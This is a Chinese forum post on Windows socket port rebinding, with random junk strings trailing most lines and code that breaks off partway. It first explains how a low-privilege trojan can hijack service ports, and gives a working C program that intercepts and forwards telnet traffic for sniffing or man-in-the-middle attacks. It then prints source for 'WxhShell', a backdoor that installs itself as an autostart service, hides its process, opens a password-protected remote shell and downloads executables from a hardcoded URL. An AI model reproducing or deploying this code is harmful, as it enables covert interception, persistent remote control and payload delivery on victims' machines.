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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @ZUrr_|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $xl>YYEBMH  
D#I^;Xg0h  
  saddr.sin_family = AF_INET; _R 6+bB$  
l,n V*Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z+G.v=2q<  
VX<jg#(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X/l{E4Ex  
}KZt7)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Arzyq_ Yk  
 9AgTrP  
  这意味着什么?意味着可以进行如下的攻击: yK3b^  
lPywr TG0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2Vn~o_ga  
(-:lO{@FsC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x]=s/+Y  
&=-ZNWNo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ipThw p9  
C =6.~&(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OdrnPo{  
&Is}<Ew  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CC8)yO  
*/7+pk(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5@kNvi  
`pfZJ+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'Cv>V"X: `  
Q2L>P<87T  
  #include +[R,wsG  
  #include Ww[Xqmg  
  #include m/T3Um  
  #include    (1pR=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5S EyAhB  
  int main() /YLHg5n8+  
  { 1j!LK-  
  WORD wVersionRequested; pr) `7VuKp  
  DWORD ret; oE H""Bd  
  WSADATA wsaData; D\ ;(BB  
  BOOL val; K|{IX^3)V  
  SOCKADDR_IN saddr; e@ mjh,  
  SOCKADDR_IN scaddr; bl8EzO  
  int err; >OLKaghV.5  
  SOCKET s; @X?7a]+;8  
  SOCKET sc; 3hi0  
  int caddsize; DT Cwf  
  HANDLE mt; XB.xIApmy  
  DWORD tid;   >STAPrBp+  
  wVersionRequested = MAKEWORD( 2, 2 ); b:M1P&R  
  err = WSAStartup( wVersionRequested, &wsaData ); R_7[7 /a  
  if ( err != 0 ) { I0qS x{K  
  printf("error!WSAStartup failed!\n"); ieL7jN,'m  
  return -1; O?=YY@j  
  } (\8~W*ej"  
  saddr.sin_family = AF_INET; @|2L>N  
    mdtG W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6${=N}3Kw  
;J>upI   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~O c:b>~  
  saddr.sin_port = htons(23); Km)VOX[ZZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pK|~G."6e  
  { #B!HPlrv  
  printf("error!socket failed!\n"); Sk6B>O<:  
  return -1; +v.<Fw2k#  
  } k',#T932x1  
  val = TRUE; $SOFq+-T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #aua6V!"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ct<]('Hm(  
  { 3-PqUJT$   
  printf("error!setsockopt failed!\n"); cp)BPg  
  return -1; )yt_i'D}  
  } tgVMgu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $VxKv7:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k6$Ft.0d1Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L[cP2X]NQ  
Ht"?ajW{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &E+mXEve  
  { WbWEgd%8.  
  ret=GetLastError(); {zTnE?(o`  
  printf("error!bind failed!\n"); SYd6D@^2j  
  return -1; Ab In\,x  
  } a_3w/9L4r  
  listen(s,2); Q3I^(Ll"L  
  while(1) 4o<rj4G>  
  { ^?8/9 o  
  caddsize = sizeof(scaddr); L"tzUYxg  
  //接受连接请求 ,(A $WT@e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZYS]Et[Q  
  if(sc!=INVALID_SOCKET) h5Ee*D e  
  { {ldt/dl~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {[)n<.n[g  
  if(mt==NULL) fgoLN\  
  { d.0K~M   
  printf("Thread Creat Failed!\n"); #M)+sK$H%f  
  break; ueyQ&+6r  
  } :2.<JUDM  
  } mKBO<l{S  
  CloseHandle(mt); Am!OLGG4  
  } IG Ax+3V  
  closesocket(s); S J2l6  
  WSACleanup(); |->C I  
  return 0; &/n*>%2  
  }   ek"U q RY  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4a=QTq0p  
  { *M ^ <oG  
  SOCKET ss = (SOCKET)lpParam; brX[-  
  SOCKET sc; bC /Ql  
  unsigned char buf[4096]; 7$*X   
  SOCKADDR_IN saddr; MD^,"!A  
  long num; 2){O&8A  
  DWORD val; 3 "iBcsLn  
  DWORD ret; 7`f%?xVn0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?t5<S]'r$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \n`/?\r.z  
  saddr.sin_family = AF_INET; |\W53,n9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x"n++j  
  saddr.sin_port = htons(23); \zc R7 5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TuEM  
  { 6e8 gFQ"w2  
  printf("error!socket failed!\n"); +n<W#O %  
  return -1; ^ L]e]<h(  
  } e#)NYcr6  
  val = 100; (:I]v_qEYS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ve+bR   
  { ('{aOiSH  
  ret = GetLastError(); W*Si"s2  
  return -1; S@'%dN6e  
  } _RIlGs\.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kno[!A7_6  
  { T(qTipq0  
  ret = GetLastError(); zu.B>INe  
  return -1; 2]<.m]  
  } ; NH^+h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  \_  
  { L+*:VP6WD  
  printf("error!socket connect failed!\n"); ! Sw=ns7  
  closesocket(sc); l2kGFgc  
  closesocket(ss); ' '(rC38  
  return -1; r ^\(M {  
  } KIi:5Y  
  while(1) ="5D}%  
  { -r_,#LR!l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 op\$(7<d-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0-[naGz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cS'{h  
  num = recv(ss,buf,4096,0); `IEA  
  if(num>0) y|)VNnWM  
  send(sc,buf,num,0); b*.aaOb  
  else if(num==0)  |iI dm  
  break; YrJUs]A  
  num = recv(sc,buf,4096,0); - om9 Z0e  
  if(num>0) [@ev%x,  
  send(ss,buf,num,0); tfN[-3)Z  
  else if(num==0) BvsSrse  
  break; uDP:kM  
  } SDC'S]{ew  
  closesocket(ss); MqB@}!  
  closesocket(sc); *g,ls(r\[  
  return 0 ; Y X^c}t}U  
  } . }/8 ]  
3i7EF.  
Hf@4p'  
========================================================== ~f(5l.  
pa1<=w  
下边附上一个代码,,WXhSHELL *d3-[HwZCL  
A1INaL  
========================================================== aTTkj\4  
Ga5*tWj  
#include "stdafx.h" OemY'M? ZQ  
9e=}P L  
#include <stdio.h> gDVsi  
#include <string.h> jkx>o?s)z  
#include <windows.h> Zs />_w}  
#include <winsock2.h> U8 Zb&6  
#include <winsvc.h> +7}^Y}(  
#include <urlmon.h> tg@61V?>  
7%i'F=LzT  
#pragma comment (lib, "Ws2_32.lib") dazNwn  
#pragma comment (lib, "urlmon.lib") r=5 S0  
?E"192 ,z@  
#define MAX_USER   100 // 最大客户端连接数 xeSch?}  
#define BUF_SOCK   200 // sock buffer 7h}gIm7e"  
#define KEY_BUFF   255 // 输入 buffer 3e&+[j  
x[)-h/&Fh  
#define REBOOT     0   // 重启 Qdq;C,}Ai.  
#define SHUTDOWN   1   // 关机 .Qx5,)@9  
l.o/H|  
#define DEF_PORT   5000 // 监听端口 .oyAi||  
/=S@3?cQAB  
#define REG_LEN     16   // 注册表键长度 <#h,_WP*  
#define SVC_LEN     80   // NT服务名长度 5_aj]"x  
J:N(U0U  
// 从dll定义API iz#R)EB/g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O~*i_t*i9{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /AD&z?My+E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %NrH\v{7Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E:x@O8F  
KVa{;zBwl  
// wxhshell配置信息 k~8-E u1  
struct WSCFG { ]&%KU)i?  
  int ws_port;         // 监听端口 ;DuVb2~+  
  char ws_passstr[REG_LEN]; // 口令 x vs=T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6kH6"  
  char ws_regname[REG_LEN]; // 注册表键名 <R]m(  
  char ws_svcname[REG_LEN]; // 服务名 T]De{nHu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r >'tE7W9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z< L2W",  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /aI@2]|~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jw:z2:0~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,p d -hu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hI:.Qp`r  
r'OqG^6JFN  
}; =y][j+WH  
r @4A% ql<  
// default Wxhshell configuration Hh1_zd|  
struct WSCFG wscfg={DEF_PORT, [<#j K}g  
    "xuhuanlingzhe", -Q n-w3~&  
    1, ( V4Ppg  
    "Wxhshell", GOc   
    "Wxhshell", I_r@Y:5{  
            "WxhShell Service", N(7 XILC  
    "Wrsky Windows CmdShell Service", ..} P$  
    "Please Input Your Password: ", ?P'$Vxl  
  1, VmqJMU>.  
  "http://www.wrsky.com/wxhshell.exe", Kv| x -_7  
  "Wxhshell.exe" 9lb?%UFe  
    }; +K1M&(  
6$R9Y.s>Z  
// 消息定义模块 AM}2=Ip  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f;{Q ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hh% !4_AMw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Mk7"FC7  
char *msg_ws_ext="\n\rExit."; `MU~N_  
char *msg_ws_end="\n\rQuit."; Z mJ<h&  
char *msg_ws_boot="\n\rReboot..."; oPKLr31zt  
char *msg_ws_poff="\n\rShutdown..."; <o%T]  
char *msg_ws_down="\n\rSave to "; ]>X_E%`G<b  
(.4lsKN<  
char *msg_ws_err="\n\rErr!"; zS%XmS\  
char *msg_ws_ok="\n\rOK!"; aD: #AmbJ  
Zonjk%tC  
char ExeFile[MAX_PATH]; YbZbA >|  
int nUser = 0; C8-7XQ=B:b  
HANDLE handles[MAX_USER]; ~7 i{~<?  
int OsIsNt; '`2KLO>!  
`;UWq{"  
SERVICE_STATUS       serviceStatus; m{Q #f\<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K0.aU  
u}5CzV`  
// 函数声明 XO <0;9|  
int Install(void); , #)d  
int Uninstall(void); >bW=oTFz  
int DownloadFile(char *sURL, SOCKET wsh); {M**a  
int Boot(int flag); )]P(!hW.  
void HideProc(void); c~ R'`Q  
int GetOsVer(void); 27SHj9I  
int Wxhshell(SOCKET wsl); GL n M1  
void TalkWithClient(void *cs); YlrN^rO  
int CmdShell(SOCKET sock); *JJ8\R&P0  
int StartFromService(void); tl 0|.Q,  
int StartWxhshell(LPSTR lpCmdLine); %,T*[d&i  
Pe _O(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); flmQNrC.8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k'o[iKlu  
MltO.K!  
// 数据结构和表定义 ^%7(  
SERVICE_TABLE_ENTRY DispatchTable[] = IJ Jp5[w  
{ hY&Yp^"}]^  
{wscfg.ws_svcname, NTServiceMain}, ^-"Iw y  
{NULL, NULL} NxHUOPAJc  
}; s 47R,K$  
G Aj%o]}u  
// 自我安装 #^T`vTD-  
int Install(void) 3x;UAi+&  
{ cfIC(d  
  char svExeFile[MAX_PATH]; Py;5z  
  HKEY key; aj5HtP-  
  strcpy(svExeFile,ExeFile); roQI;gq^  
 t;o\"H  
// 如果是win9x系统,修改注册表设为自启动 s;vt2>;q+e  
if(!OsIsNt) { !8G)` '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jYVs\h6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M {jXo%C  
  RegCloseKey(key); Q4cCg7|0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ogFo/TKM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `H! (hMMV  
  RegCloseKey(key); E+/Nicn=  
  return 0; "L~Oj&AN[  
    } >kQp@r\nQ  
  } d'';0[W)  
} 64u(X^i  
else { pbx*Y`v  
G J%^hr`P  
// 如果是NT以上系统,安装为系统服务 $4{sP Hi)I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TQ(q [:>  
if (schSCManager!=0) dEk#"cvg  
{ ;U'\"N9  
  SC_HANDLE schService = CreateService tNY;wl:wp  
  ( !P{ /;Q  
  schSCManager, S(PV*e8  
  wscfg.ws_svcname, M`&t=0D  
  wscfg.ws_svcdisp, q1VKoKb6\:  
  SERVICE_ALL_ACCESS, 4V:W 8k 9D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <SNr\/aCRi  
  SERVICE_AUTO_START, x"z\d,O%W  
  SERVICE_ERROR_NORMAL, No7-fX1B  
  svExeFile, ^&<M""Z  
  NULL, U,U=udsi  
  NULL, |m-N5$\IC  
  NULL, p6j-8ggL  
  NULL, &4OJJ9S  
  NULL YhH3fVM  
  ); 8|Tqk,/pD  
  if (schService!=0) .!4'Y}  
  { "e-Y?_S7R8  
  CloseServiceHandle(schService); u{4P)DIQ  
  CloseServiceHandle(schSCManager); ajycYk9<m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FsqH:I4O  
  strcat(svExeFile,wscfg.ws_svcname); b]u=I za  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OmB M)g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t`6]eRR  
  RegCloseKey(key); 9fX0?POG  
  return 0; .f$2-5q  
    } qXtC7uNj$  
  } )cH\i91  
  CloseServiceHandle(schSCManager); W<q<}RSn  
} - egTZW-  
} eztK`_n  
S5JM t;O  
return 1; ;jgf,fbM  
} _EMX x4J  
le^Fik   
// 自我卸载 o135Xh$_>'  
int Uninstall(void) _!2lnJ4+5  
{ _7N?R0j^9N  
  HKEY key; ?J$k 5;  
?u2\ *@C  
if(!OsIsNt) { fOMaTnm'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,xU#uyB  
  RegDeleteValue(key,wscfg.ws_regname); $x }R2  
  RegCloseKey(key); 7B0`.E^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /[ m7~B]QE  
  RegDeleteValue(key,wscfg.ws_regname); JX'}+.\  
  RegCloseKey(key); GipiO5)1C  
  return 0; Ju>QQOxi|  
  } FTUfJIVN(  
} ,%Z&*/*Oh  
} GQg 2!s(  
else { ot7f?tF2<J  
C1A  X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +m JG:n  
if (schSCManager!=0) yPfx!9B  
{ JAHmmNlW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UK OhsE  
  if (schService!=0) dZ" }wKbO  
  { ,w"cY?~<  
  if(DeleteService(schService)!=0) { Hd4 ~v0eS  
  CloseServiceHandle(schService); \ MuKS4  
  CloseServiceHandle(schSCManager); ]pNM~,  
  return 0; ],AtR1k  
  } 3^Is4H_8  
  CloseServiceHandle(schService); R[F`b  
  } .\H-?6R^  
  CloseServiceHandle(schSCManager); @}jg5}  
} \aSc2Ml]3n  
} ^Zs ^  
:M;|0w*b  
return 1; $o9^b Z  
} `!N.1RP _  
v+E J $  
// 从指定url下载文件 jB -A d8  
int DownloadFile(char *sURL, SOCKET wsh) /  !h<+  
{ rG-x 3>b  
  HRESULT hr; Z3zD4-p$_  
char seps[]= "/"; \B 8j9  
char *token; lx$Z/f  
char *file; c&#Q`m  
char myURL[MAX_PATH]; p8]XNe  
char myFILE[MAX_PATH]; S]E|a@kD3  
,X| >d  
strcpy(myURL,sURL); Fbotn(\h@  
  token=strtok(myURL,seps); ='I2&I,)  
  while(token!=NULL) "kt7m  
  { 1Xcj=I- 4  
    file=token; }K.)yv n  
  token=strtok(NULL,seps); 1"A"AMZf  
  } sNG 7fi.|  
,o2x,I  
GetCurrentDirectory(MAX_PATH,myFILE); m{*_%tjN0  
strcat(myFILE, "\\"); ZdhA:}~^E  
strcat(myFILE, file); 0kp{`3ce  
  send(wsh,myFILE,strlen(myFILE),0); N#OO{`":Z`  
send(wsh,"...",3,0); q.hpnE~#lh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /xg1i1Et  
  if(hr==S_OK) Zz|et206  
return 0; ?S)Pv53>}  
else 'uqY%&U  
return 1; Kr<a6BEv5  
d^Cv9%X  
} Q9X+H4`}y  
9$sx+=(  
// 系统电源模块 % Q93n {?  
int Boot(int flag) ,[|i^  
{ xs)SKG*  
  HANDLE hToken; skLr6Cs|  
  TOKEN_PRIVILEGES tkp; #%CB`l  
K?S5C8  
  if(OsIsNt) { KjV1->r#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0d,&)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !&G& ~*.x  
    tkp.PrivilegeCount = 1; s|Vbc@t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mnYzn[d3U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cj)*JZV G  
if(flag==REBOOT) { r+k~%5Ff~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wh?3vZ^  
  return 0; gr >>]C$  
} 8(@(G_skp  
else { k+u L^teyS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GZiN&}5e  
  return 0; VPDd*32HC  
} QlnI&o  
  } 5F5)Bh  
  else { %\ !3tN  
if(flag==REBOOT) { KFHcHz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /kFw(l_.  
  return 0; yMe;  
} -[A=\]RfJ  
else { *edhJUT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qAVZ&:#  
  return 0; Q[%+y.  
} &Y8S! W@4  
} {dNWQE*\c  
*46hw(L  
return 1; lT- LOu|  
} L%[b6<  
#7,;/rtO7  
// win9x进程隐藏模块 j !rQa^   
void HideProc(void) G+W0X  
{ N ._&\fHY  
)tR@\G>%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k9o LJ<.k  
  if ( hKernel != NULL ) D"GQlR  
  { +m1y#|08  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >0jg2vqt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2mPU /  
    FreeLibrary(hKernel); wD`jks  
  } {P $sQv  
J4^aD;j  
return; @xPWR=Lb  
} ~_hn{Ou s  
QMWDII&t  
// 获取操作系统版本 l]__!X  
int GetOsVer(void) LHgEb9\Q  
{ -|3feYb'  
  OSVERSIONINFO winfo; Qj',&b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v?qU/  
  GetVersionEx(&winfo); z(_#C s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tU >?j1  
  return 1; Ga#5xAI{a  
  else B|6_4ry0U  
  return 0; `_5{: 9N$  
} DmpG35Jk  
YO`V'6\  
// 客户端句柄模块 A&/ YnJ"  
int Wxhshell(SOCKET wsl) q, XRb  
{ We*&\e+"T  
  SOCKET wsh; <vUhJgN2/  
  struct sockaddr_in client; ntt:>j$  
  DWORD myID; "kg;fF|  
Y>2kOE  
  while(nUser<MAX_USER) { x/~gp  
{ qD<\U  
  int nSize=sizeof(client); 5Cjh%rj(jl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bi$nYV)-l  
  if(wsh==INVALID_SOCKET) return 1; ,"EgYd8-'  
&d/x1=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x|`o7.  
if(handles[nUser]==0) :B"Y3~I  
  closesocket(wsh);  pu?D^h9/  
else 0mD=Rjb*a  
  nUser++; f15f)P  
  } ym.:I@b?6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XpU%09K  
ud,=O X q  
  return 0; s(MLBV5)w  
} 5x/LHsr=m  
z}&JapJ  
// 关闭 socket ~gJJ@j 0n  
void CloseIt(SOCKET wsh) sxFkpf_h  
{ 8JbN&C  
closesocket(wsh); yTwtGo&  
nUser--; &D*22R4{CX  
ExitThread(0); mKN#dmw6  
} G~N$bF^R)  
1<TB{}b Z  
// 客户端请求句柄 deVbNg8gs  
void TalkWithClient(void *cs) .T|1l$Jn  
{ [OK(  
E[2>je  
  SOCKET wsh=(SOCKET)cs; mO(A'p "b  
  char pwd[SVC_LEN]; $>=?'wr  
  char cmd[KEY_BUFF]; k1HVvMD<  
char chr[1]; eB,eu4+-  
int i,j; u#r[JF9LP  
Z/~7N9?m(  
  while (nUser < MAX_USER) { g6p:1;Evf  
w_h}c$;GK  
if(wscfg.ws_passstr) { Bq4^nDK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  "yA=Tw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cr#Z.  
  //ZeroMemory(pwd,KEY_BUFF); Ia!B8$$'RP  
      i=0; uEX+j  
  while(i<SVC_LEN) { .qAlPe L:  
`_Fxb@"R  
  // 设置超时 0V[`zOO(o  
  fd_set FdRead; "-afHXED  
  struct timeval TimeOut; !5zDnv  
  FD_ZERO(&FdRead); nXFPoR)T  
  FD_SET(wsh,&FdRead); V~! lY\  
  TimeOut.tv_sec=8; Q$XNs%7w5,  
  TimeOut.tv_usec=0; u-%|ZSg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $-ICTp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *iwV B^^$  
Iq["(!7E5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _KZ&/  
  pwd=chr[0]; Gw1Rp  
  if(chr[0]==0xd || chr[0]==0xa) { yh:Wg$qx  
  pwd=0; QuWW a|g^.  
  break; {#C)S&o)6  
  } vtu!* 7m  
  i++; c[<>e#s+;  
    } wJMk%N~R:  
)p!.V( ,  
  // 如果是非法用户,关闭 socket %=[xc?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5zi}O GtXv  
} Y7_2pGvZ  
/(jG9RM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /{71JqFis  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u}Q cyG^  
unD.t  
while(1) { rJ=r_v  
J{qsCJiB  
  ZeroMemory(cmd,KEY_BUFF); d$qi. %<kh  
gUWW}*\ U  
      // 自动支持客户端 telnet标准   =;A >1g$  
  j=0; )1, U~+JFU  
  while(j<KEY_BUFF) { {v>8Kp7_R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dng^#|X)?  
  cmd[j]=chr[0]; ,`,1s 9\&t  
  if(chr[0]==0xa || chr[0]==0xd) { Hn sPXF'8g  
  cmd[j]=0; 1G<S'd+N  
  break; p G(Fw>  
  } u ?7^+z  
  j++; ,,=VF(@G  
    } U+-R2w]#q_  
WG]`Sy  
  // 下载文件 *)D$w_06S  
  if(strstr(cmd,"http://")) { \]|(w*C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KD^n7+w%  
  if(DownloadFile(cmd,wsh)) Y. Uca<{.[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2~\ b3G  
  else )<(3 .M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \OE,(9T2P.  
  } !S#K6:  
  else { Rrw6\iO  
/*e6('9s  
    switch(cmd[0]) { Ejt?B')aB5  
  zK>}x=  
  // 帮助 9Ecc~'f  
  case '?': { ok1-`c P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9c{T|+ ]  
    break; }6"l`$=Ev  
  } dR!x)oO=  
  // 安装 yA~1$sA1  
  case 'i': { \ 0/m$V.  
    if(Install()) sB0m^Y'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL)7MtNwy  
    else _0o65?F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dlH&8  
    break; 4}-G<7*  
    } #'4Psz  
  // 卸载 ?tkl cYB  
  case 'r': { 4m!w<c0NL  
    if(Uninstall()) !@>q^_Gez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xg;vQKS6  
    else pfQ3Y$z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?{%"v\w  
    break; h{: ]'/@~  
    } r0s(MyI  
  // 显示 wxhshell 所在路径 0[p"8+x  
  case 'p': { %-<6Z9otc  
    char svExeFile[MAX_PATH]; 3LZvlcLb  
    strcpy(svExeFile,"\n\r"); K!(hj '0.  
      strcat(svExeFile,ExeFile); ]F3fO5Z  
        send(wsh,svExeFile,strlen(svExeFile),0); vi]cl=S  
    break; T0N6k acl  
    } O~|Y#T  
  // 重启 y1B' _s  
  case 'b': { 1[!7xA0j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qq"0X! w  
    if(Boot(REBOOT)) h0")NBRV&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [U:P&)  
    else { 5 p ,HkV  
    closesocket(wsh);  v> s,*  
    ExitThread(0); Bm;: cmB0e  
    } @U:PXCvh  
    break; ji<(}d~L*  
    } I~4!8W-Y  
  // 关机 %~[@5<p  
  case 'd': { , [<$X{9  
